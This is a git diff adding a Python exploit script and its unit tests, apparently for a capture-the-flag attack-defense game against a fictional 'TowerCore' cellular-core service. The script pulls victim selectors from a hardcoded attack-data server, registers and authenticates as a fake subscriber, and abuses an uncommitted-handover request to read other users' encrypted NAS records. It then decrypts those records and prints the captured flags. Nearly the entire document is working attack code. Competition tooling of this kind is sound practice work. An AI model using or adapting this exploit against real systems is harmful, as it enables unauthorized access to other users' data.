diff --git a/towercore/sploits/test_towercore_handover.py b/towercore/sploits/test_towercore_handover.py new file mode 100644 index 0000000..fe74642 --- /dev/null +++ b/towercore/sploits/test_towercore_handover.py @@ -0,0 +1,167 @@ +from __future__ import annotations + +import struct +import time +import unittest + +from towercore.sploits import towercore_handover as exploit + + +class FrameTests(unittest.TestCase): + def test_builds_handover_frame_with_expected_header_and_selector(self) -> None: + request = exploit.build_frame( + 0x40, + [ + (0x0B, struct.pack(" None: + request = exploit.build_frame( + 0x23, + [(0x0B, b"first"), (0x0B, b"last")], + request_id=7, + session_token=b"\0" * 6, + ) + parsed = exploit.parse_frame(request) + + self.assertEqual([value for tag, value in parsed.fields if tag == 0x0B], [b"first", b"last"]) + with self.assertRaises(exploit.ProtocolError): + exploit.parse_frame(request[:-1]) + + def test_receive_handles_partial_tcp_reads(self) -> None: + class FragmentedSocket: + def __init__(self, data: bytes) -> None: + self.data = data + self.offset = 0 + + def settimeout(self, timeout: float) -> None: + pass + + def recv(self, size: int) -> bytes: + count = min(size, 3) + result = self.data[self.offset : self.offset + count] + self.offset += len(result) + return result + + request = exploit.build_frame( + 0x06, + [], + request_id=12, + session_token=b"\x01\x02\x03\x04\x05\x06", + ) + parsed = exploit.receive_frame(FragmentedSocket(request), time.monotonic() + 2.0) + + self.assertEqual(parsed.opcode, 0x06) + self.assertEqual(parsed.session_token, b"\x01\x02\x03\x04\x05\x06") + + +class CryptoTests(unittest.TestCase): + def test_authentication_digest_matches_captured_protocol_vector(self) -> None: + challenge = bytes.fromhex( + "9e6df7a47b1660aa0fec4b61e7594f8743f03dd63badbf7a4957fbf4ee31fc71" + ) + imsi = bytes.fromhex("1f0c91cd9d858829") + client_nonce = bytes.fromhex("315d4cdfe640c62a5c50d56766672f0f") + + self.assertEqual( + exploit.auth_digest(challenge, imsi, client_nonce).hex(), + "11d9a445157dd1ca2f55014b9fa5f9a9d3d35d34debf0e329a2a8d1428e2567d", + ) + + def test_session_and_nas_keys_match_captured_protocol_vector(self) -> None: + challenge = bytes.fromhex( + "9e6df7a47b1660aa0fec4b61e7594f8743f03dd63badbf7a4957fbf4ee31fc71" + ) + client_nonce = bytes.fromhex("315d4cdfe640c62a5c50d56766672f0f") + server_nonce = bytes.fromhex("ff7dc7e4ecbde1bf660ae782b8c93002") + + session_key, nas_key = exploit.derive_keys(challenge, client_nonce, server_nonce) + + self.assertEqual( + session_key.hex(), + "e98f71f3c530347ad4f3d1ca348e4efc9e6d000c22bff891e3a9c9b0346a6513", + ) + self.assertEqual( + nas_key.hex(), + "1fbbddc4a618d41212be8b282b210f524041758514e097ceef501766d49d1e80", + ) + + def test_hchacha20_matches_published_block_vector(self) -> None: + key = bytes(range(32)) + nonce = bytes.fromhex("000000090000004a0000000031415927") + + self.assertEqual( + exploit.hchacha20(key, nonce).hex(), + "82413b4227b27bfed30e42508a877d73a0f9e4d58a74a853c12ec41326d3ecdc", + ) + + def test_poly1305_matches_rfc_vector(self) -> None: + key = bytes.fromhex( + "85d6be7857556d337f4452fe42d506a80103808afb0db2fd4abff6af4149f51b" + ) + + self.assertEqual( + exploit.poly1305_mac(b"Cryptographic Forum Research Group", key).hex(), + "a8061dc1305136c6c22b8baf0c0127a9", + ) + + def test_xchacha20_poly1305_decrypts_authenticated_ciphertext(self) -> None: + key = bytes.fromhex( + "808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9f" + ) + nonce = bytes.fromhex("404142434445464748494a4b4c4d4e4f5051525354555657") + aad = bytes.fromhex("50515253c0c1c2c3c4c5c6c7") + ciphertext_and_tag = bytes.fromhex( + "bd6d179d3e83d43b9576579493c0e939572a1700252bfaccbed2902c21396cbb" + "731c7f1b0b4aa6440bf3a82f4eda7e39ae64c6708c54c216cb96b72e1213b452" + "2f8c9ba40db5d945b11b69b982c1bb9e3f3fac2bc369488f76b2383565d3fff9" + "21f9664c97637da9768812f615c68b13b52e" + "c0875924c1c7987947deafd8780acf49" + ) + + self.assertEqual( + exploit.xchacha20poly1305_decrypt(ciphertext_and_tag, aad, nonce, key), + b"Ladies and Gentlemen of the class of '99: If I could offer you only one tip " + b"for the future, sunscreen would be it.", + ) + with self.assertRaises(exploit.AuthenticationError): + exploit.xchacha20poly1305_decrypt( + ciphertext_and_tag, b"bad aad", nonce, key + ) + + +class AttackDataTests(unittest.TestCase): + def test_extracts_unique_victims_by_normalized_target(self) -> None: + data = { + "towercore": { + "10.80.19.2": [ + { + "users": [ + {"cell": 1001, "tmsi": 0x161B74BE}, + {"cell": 1002, "tmsi": 0x3D287CA8}, + {"cell": 1001, "tmsi": 0x161B74BE}, + ] + } + ] + } + } + + victims = exploit.extract_victims(data, "10.80.19.2:7250") + + self.assertEqual( + [(victim.cell, victim.tmsi) for victim in victims], + [(1001, 0x161B74BE), (1002, 0x3D287CA8)], + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/towercore/sploits/towercore_handover.py b/towercore/sploits/towercore_handover.py new file mode 100755 index 0000000..3c91e79 --- /dev/null +++ b/towercore/sploits/towercore_handover.py @@ -0,0 +1,592 @@ +#!/usr/bin/env python3 +"""Read TowerCore NAS exports through the uncommitted-handover path. + +Run as ``script TARGET`` inside the authorized attack-defense network. +""" + +from __future__ import annotations + +import hashlib +import hmac +import json +import re +import secrets +import socket +import struct +import sys +import time +from dataclasses import dataclass +from urllib.error import URLError +from urllib.parse import urlsplit +from urllib.request import Request, urlopen + + +ATTACK_DATA_URL = "http://111.88.219.93/attack_data" +DEFAULT_PORT = 7250 +NETWORK_TIMEOUT = 4.0 +MAX_ATTACK_DATA = 4 * 1024 * 1024 +MAX_VICTIMS = 4096 +HEADER_SIZE = 16 +FLAG_RE = re.compile(rb"\b[A-Z0-9]{31}=") +NAS_AAD = b"TowerCore/v1/sealed" + + +class ProtocolError(Exception): + """A malformed or unexpected TowerCore protocol response.""" + + +class RemoteError(ProtocolError): + """A well-formed response that reports an operation failure.""" + + +class AuthenticationError(ProtocolError): + """An encrypted NAS record failed authentication.""" + + +@dataclass(frozen=True) +class Frame: + opcode: int + request_token: bytes + session_token: bytes + fields: tuple[tuple[int, bytes], ...] + + def values(self, tag: int) -> list[bytes]: + return [value for field_tag, value in self.fields if field_tag == tag] + + +@dataclass(frozen=True) +class Victim: + cell: int + tmsi: int + + @property + def selector(self) -> bytes: + return struct.pack(" tuple[str, int]: + raw = value.strip() + if "://" not in raw: + raw = f"tcp://{raw}" + parsed = urlsplit(raw) + if not parsed.hostname: + raise ValueError("expected TARGET as HOST or host:port") + return parsed.hostname, parsed.port or default_port + + +def _encode_tlvs(fields: list[tuple[int, bytes]]) -> bytes: + payload = bytearray() + for tag, value in fields: + if not 0 <= tag <= 0xFFFF: + raise ValueError("TLV tag is outside uint16 range") + if not isinstance(value, bytes): + raise TypeError("TLV values must be bytes") + if len(value) > 0xFFFF: + raise ValueError("TLV value exceeds uint16 length") + payload.extend(struct.pack(" 0xFFFF: + raise ValueError("frame payload exceeds uint16 length") + return bytes(payload) + + +def build_frame( + opcode: int, + fields: list[tuple[int, bytes]], + request_id: int, + session_token: bytes, +) -> bytes: + if not 0 <= opcode <= 0xFF: + raise ValueError("opcode is outside uint8 range") + if not 0 <= request_id <= 0xFFFF: + raise ValueError("request id is outside uint16 range") + if len(session_token) != 6: + raise ValueError("session token must be 6 bytes") + payload = _encode_tlvs(fields) + # The request counter occupies the low uint16 of the four-byte token. + header = b"LT" + bytes((1, opcode)) + b"\0\0" + struct.pack(" tuple[tuple[int, bytes], ...]: + fields: list[tuple[int, bytes]] = [] + offset = 0 + while offset < len(payload): + if len(payload) - offset < 4: + raise ProtocolError("truncated TLV header") + tag, size = struct.unpack_from(" len(payload): + raise ProtocolError("truncated TLV value") + fields.append((tag, payload[offset:end])) + offset = end + return tuple(fields) + + +def parse_frame(raw: bytes) -> Frame: + if len(raw) < HEADER_SIZE: + raise ProtocolError("truncated frame header") + if raw[:2] != b"LT": + raise ProtocolError("invalid frame magic") + if raw[2] != 1: + raise ProtocolError(f"unsupported protocol version {raw[2]}") + payload_size = struct.unpack_from(" bytes: + chunks: list[bytes] = [] + remaining = size + while remaining: + timeout = deadline - time.monotonic() + if timeout <= 0: + raise TimeoutError("timed out receiving TowerCore frame") + sock.settimeout(timeout) + try: + chunk = sock.recv(remaining) + except socket.timeout as exc: + raise TimeoutError("timed out receiving TowerCore frame") from exc + if not chunk: + raise ProtocolError("connection closed in the middle of a frame") + chunks.append(chunk) + remaining -= len(chunk) + return b"".join(chunks) + + +def receive_frame(sock: socket.socket, deadline: float) -> Frame: + header = _receive_exact(sock, HEADER_SIZE, deadline) + if header[:2] != b"LT": + raise ProtocolError("invalid frame magic") + if header[2] != 1: + raise ProtocolError(f"unsupported protocol version {header[2]}") + payload_size = struct.unpack_from(" bytes: + if len(challenge) != 32 or len(imsi) != 8 or len(client_nonce) != 16: + raise ValueError("invalid authentication input length") + message = b"TowerCore/v1/auth" + imsi + client_nonce + return hmac.new(challenge, message, hashlib.sha256).digest() + + +def derive_keys(challenge: bytes, client_nonce: bytes, server_nonce: bytes) -> tuple[bytes, bytes]: + if len(challenge) != 32 or len(client_nonce) != 16 or len(server_nonce) != 16: + raise ValueError("invalid session KDF input length") + session_key = hashlib.blake2b( + b"TowerCore/v1/session" + client_nonce + server_nonce, + key=challenge, + digest_size=32, + ).digest() + nas_key = hashlib.blake2b( + b"TowerCore/v1/nas", key=session_key, digest_size=32 + ).digest() + return session_key, nas_key + + +def _rotate_left(value: int, bits: int) -> int: + return ((value << bits) | (value >> (32 - bits))) & 0xFFFFFFFF + + +def _quarter_round(state: list[int], a: int, b: int, c: int, d: int) -> None: + state[a] = (state[a] + state[b]) & 0xFFFFFFFF + state[d] = _rotate_left(state[d] ^ state[a], 16) + state[c] = (state[c] + state[d]) & 0xFFFFFFFF + state[b] = _rotate_left(state[b] ^ state[c], 12) + state[a] = (state[a] + state[b]) & 0xFFFFFFFF + state[d] = _rotate_left(state[d] ^ state[a], 8) + state[c] = (state[c] + state[d]) & 0xFFFFFFFF + state[b] = _rotate_left(state[b] ^ state[c], 7) + + +def _chacha_rounds(state: list[int]) -> None: + for _ in range(10): + _quarter_round(state, 0, 4, 8, 12) + _quarter_round(state, 1, 5, 9, 13) + _quarter_round(state, 2, 6, 10, 14) + _quarter_round(state, 3, 7, 11, 15) + _quarter_round(state, 0, 5, 10, 15) + _quarter_round(state, 1, 6, 11, 12) + _quarter_round(state, 2, 7, 8, 13) + _quarter_round(state, 3, 4, 9, 14) + + +def _initial_state(key: bytes) -> list[int]: + if len(key) != 32: + raise ValueError("ChaCha20 key must be 32 bytes") + return list(struct.unpack("<4I", b"expand 32-byte k")) + list( + struct.unpack("<8I", key) + ) + + +def hchacha20(key: bytes, nonce: bytes) -> bytes: + if len(nonce) != 16: + raise ValueError("HChaCha20 nonce must be 16 bytes") + state = _initial_state(key) + list(struct.unpack("<4I", nonce)) + _chacha_rounds(state) + return struct.pack("<8I", *(state[:4] + state[12:16])) + + +def _chacha20_block(key: bytes, counter: int, nonce: bytes) -> bytes: + if len(nonce) != 12: + raise ValueError("ChaCha20 nonce must be 12 bytes") + if not 0 <= counter <= 0xFFFFFFFF: + raise ValueError("ChaCha20 counter is outside uint32 range") + initial = _initial_state(key) + [counter] + list(struct.unpack("<3I", nonce)) + state = initial.copy() + _chacha_rounds(state) + return struct.pack( + "<16I", *((value + original) & 0xFFFFFFFF for value, original in zip(state, initial)) + ) + + +def _chacha20_xor(key: bytes, nonce: bytes, data: bytes, counter: int) -> bytes: + block_count = (len(data) + 63) // 64 + if block_count and counter + block_count - 1 > 0xFFFFFFFF: + raise ValueError("ChaCha20 counter overflow") + output = bytearray(len(data)) + for block_index in range(block_count): + stream = _chacha20_block(key, counter + block_index, nonce) + start = block_index * 64 + end = min(start + 64, len(data)) + for offset in range(start, end): + output[offset] = data[offset] ^ stream[offset - start] + return bytes(output) + + +def poly1305_mac(message: bytes, key: bytes) -> bytes: + if len(key) != 32: + raise ValueError("Poly1305 key must be 32 bytes") + r = int.from_bytes(key[:16], "little") & 0x0FFFFFFC0FFFFFFC0FFFFFFC0FFFFFFF + s = int.from_bytes(key[16:], "little") + modulus = (1 << 130) - 5 + accumulator = 0 + for offset in range(0, len(message), 16): + block = message[offset : offset + 16] + value = int.from_bytes(block + b"\x01", "little") + accumulator = ((accumulator + value) * r) % modulus + return ((accumulator + s) & ((1 << 128) - 1)).to_bytes(16, "little") + + +def _pad16(value: bytes) -> bytes: + remainder = len(value) % 16 + return b"" if remainder == 0 else b"\0" * (16 - remainder) + + +def xchacha20poly1305_decrypt( + ciphertext_and_tag: bytes, aad: bytes, nonce: bytes, key: bytes +) -> bytes: + if len(key) != 32 or len(nonce) != 24: + raise ValueError("XChaCha20-Poly1305 requires a 32-byte key and 24-byte nonce") + if len(ciphertext_and_tag) < 16: + raise AuthenticationError("encrypted NAS record is shorter than its tag") + subkey = hchacha20(key, nonce[:16]) + ietf_nonce = b"\0" * 4 + nonce[16:] + ciphertext, tag = ciphertext_and_tag[:-16], ciphertext_and_tag[-16:] + poly_key = _chacha20_block(subkey, 0, ietf_nonce)[:32] + mac_input = ( + aad + + _pad16(aad) + + ciphertext + + _pad16(ciphertext) + + struct.pack(" int: + if isinstance(value, bool): + raise ValueError(f"{name} must be an unsigned 32-bit integer") + if isinstance(value, int): + result = value + elif isinstance(value, str): + try: + result = int(value, 0) + except ValueError as exc: + raise ValueError(f"invalid {name} in attack_data") from exc + else: + raise ValueError(f"{name} must be an unsigned 32-bit integer") + if not 0 <= result <= 0xFFFFFFFF: + raise ValueError(f"{name} is outside uint32 range") + return result + + +def _target_alias(value: str) -> str: + try: + return target_host(value)[0].casefold() + except ValueError: + return value.strip().casefold() + + +def extract_victims(data: object, target: str) -> list[Victim]: + if not isinstance(data, dict) or not isinstance(data.get("towercore"), dict): + raise ValueError("attack_data has no towercore target map") + targets = data["towercore"] + target_alias = _target_alias(target) + raw_target = target.strip().casefold() + entries: object | None = None + for key, value in targets.items(): + if not isinstance(key, str): + continue + if key.strip().casefold() == raw_target or _target_alias(key) == target_alias: + entries = value + break + if not isinstance(entries, list): + raise ValueError(f"attack_data has no TowerCore entries for {target}") + + victims: list[Victim] = [] + seen_tmsi: set[int] = set() + for entry in entries: + if not isinstance(entry, dict): + raise ValueError("invalid TowerCore target entry in attack_data") + users = entry.get("users", []) + if not isinstance(users, list): + raise ValueError("invalid users list in attack_data") + for user in users: + if not isinstance(user, dict) or "cell" not in user or "tmsi" not in user: + raise ValueError("invalid user selector in attack_data") + cell = _uint32(user["cell"], "cell") + tmsi = _uint32(user["tmsi"], "tmsi") + if tmsi in seen_tmsi: + continue + seen_tmsi.add(tmsi) + victims.append(Victim(cell=cell, tmsi=tmsi)) + if len(victims) > MAX_VICTIMS: + raise ValueError("attack_data contains too many victim selectors") + return victims + + +def fetch_attack_data() -> object: + request = Request(ATTACK_DATA_URL, headers={"Accept": "application/json"}) + with urlopen(request, timeout=NETWORK_TIMEOUT) as response: + if response.status != 200: + raise OSError(f"attack_data returned HTTP {response.status}") + payload = response.read(MAX_ATTACK_DATA + 1) + if len(payload) > MAX_ATTACK_DATA: + raise ValueError("attack_data exceeds the configured size limit") + try: + return json.loads(payload) + except (json.JSONDecodeError, UnicodeDecodeError) as exc: + raise ValueError("attack_data is not valid JSON") from exc + + +def _single_field(response: Frame, tag: int, size: int, label: str) -> bytes: + values = response.values(tag) + if len(values) != 1 or len(values[0]) != size: + raise RemoteError(f"{label} response field is missing or malformed") + return values[0] + + +def _require_status(response: Frame, expected: int, operation: str) -> None: + values = response.values(0x19) + if len(values) != 1 or len(values[0]) != 1: + raise RemoteError(f"{operation} response has no single-byte status") + status = values[0][0] + if status != expected: + raise RemoteError(f"{operation} failed with status {status}") + + +class TowerClient: + def __init__(self, host: str, port: int, timeout: float = NETWORK_TIMEOUT) -> None: + self.timeout = timeout + self.sock = socket.create_connection((host, port), timeout=timeout) + self.session_token = b"\0" * 6 + self.request_id = 1 + + def close(self) -> None: + self.sock.close() + + def request(self, opcode: int, fields: list[tuple[int, bytes]] | None = None) -> Frame: + if self.request_id > 0xFFFF: + raise ProtocolError("request counter exhausted") + request_id = self.request_id + self.request_id += 1 + token = b"\0\0" + struct.pack(" list[int]: + response = self.request(0x01) + cells: list[int] = [] + for value in response.values(0x0C): + if len(value) != 4: + raise ProtocolError("hello response contains malformed cell") + cell = struct.unpack(" bytes: + imsi = secrets.token_bytes(8) + identity = secrets.token_bytes(8) + registration = self.request( + 0x02, + [(0x01, imsi), (0x02, identity), (0x03, b"scanner")], + ) + challenge = _single_field(registration, 0x08, 32, "registration challenge") + _single_field(registration, 0x09, 4, "registration TMSI") + _single_field(registration, 0x0A, 4, "registration cell") + + client_nonce = secrets.token_bytes(16) + proof = auth_digest(challenge, imsi, client_nonce) + authenticated = self.request( + 0x03, + [(0x01, imsi), (0x05, client_nonce), (0x06, proof)], + ) + server_nonce = _single_field(authenticated, 0x07, 16, "authentication nonce") + if authenticated.session_token == b"\0" * 6: + raise RemoteError("authentication response did not establish a session") + self.session_token = authenticated.session_token + _, nas_key = derive_keys(challenge, client_nonce, server_nonce) + return nas_key + + def attach(self, cell: int) -> None: + response = self.request(0x04, [(0x0C, struct.pack(" None: + response = self.request(0x06) + _require_status(response, 3, "detach") + + +def _encrypted_records(response: Frame) -> list[tuple[bytes, bytes]]: + records: list[tuple[bytes, bytes]] = [] + pending_nonce: bytes | None = None + for tag, value in response.fields: + if tag == 0x11: + if pending_nonce is not None or len(value) != 24: + raise RemoteError("NAS export contains a malformed nonce") + pending_nonce = value + elif tag == 0x12: + if pending_nonce is None or len(value) < 16: + raise RemoteError("NAS export contains ciphertext without a nonce") + records.append((pending_nonce, value)) + pending_nonce = None + if pending_nonce is not None: + raise RemoteError("NAS export ended with an unmatched nonce") + if not records: + raise RemoteError("read response contains no encrypted NAS records") + return records + + +def exploit_target(target: str, victims: list[Victim]) -> set[str]: + host, port = target_host(target) + flags: set[str] = set() + client = TowerClient(host, port) + attached_cell: int | None = None + try: + cells = client.hello() + nas_key = client.authenticate() + cell_set = set(cells) + + for index, victim in enumerate(victims, start=1): + if victim.cell not in cell_set: + print(f"victim {index}: cell is not advertised by target", file=sys.stderr) + continue + destination = next((cell for cell in cells if cell != victim.cell), None) + if destination is None: + print(f"victim {index}: no different destination cell is available", file=sys.stderr) + continue + + try: + if attached_cell != victim.cell: + if attached_cell is not None: + client.detach() + client.attach(victim.cell) + attached_cell = victim.cell + except (OSError, ProtocolError) as exc: + print(f"victim {index}: attach failed: {exc}", file=sys.stderr) + raise + + handover_id: bytes | None = None + try: + prepared = client.request( + 0x40, + [ + (0x0B, victim.selector), + (0x0C, struct.pack(" int: + arguments = sys.argv[1:] if argv is None else argv + if len(arguments) != 1: + print("usage: script TARGET", file=sys.stderr) + return 2 + target = arguments[0] + try: + victims = extract_victims(fetch_attack_data(), target) + if not victims: + raise ValueError(f"attack_data contains no victim selectors for {target}") + flags = exploit_target(target, victims) + except (OSError, URLError, ValueError, ProtocolError) as exc: + print(f"towercore exploit: {exc}", file=sys.stderr) + return 1 + for flag in sorted(flags): + print(flag) + return 0 if flags else 1 + + +if __name__ == "__main__": + raise SystemExit(main())